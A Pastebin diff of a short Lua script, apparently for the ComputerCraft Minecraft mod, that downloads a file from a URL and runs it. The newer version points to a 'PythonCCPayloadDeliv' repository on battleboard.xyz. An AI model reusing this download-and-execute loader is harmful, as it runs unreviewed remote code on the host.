View difference between Paste ID: nnU9ux1D and w8aw0NKM
SHOW: | | - or go back to the newest paste.
1
function downloadFile(url, file)
2
	http.request(url)
3
	event, eUrl, content = os.pullEvent()
4
	if event == "http_success" then
5
	  body = content.readAll()
6
	  file = fs.open(file, "w")
7
	  file.write(body)
8
	  file.flush()
9
	  file.close()
10
	end
11
  end
12-
downloadFile("raw github link here","startup")
12+
downloadFile("http://battleboard.xyz:3000/ZeeDerp/PythonCCPayloadDeliv/raw/branch/master/luaHttpReceieve.lua","rec")
13-
shell.run("startup")
13+
shell.run("rec")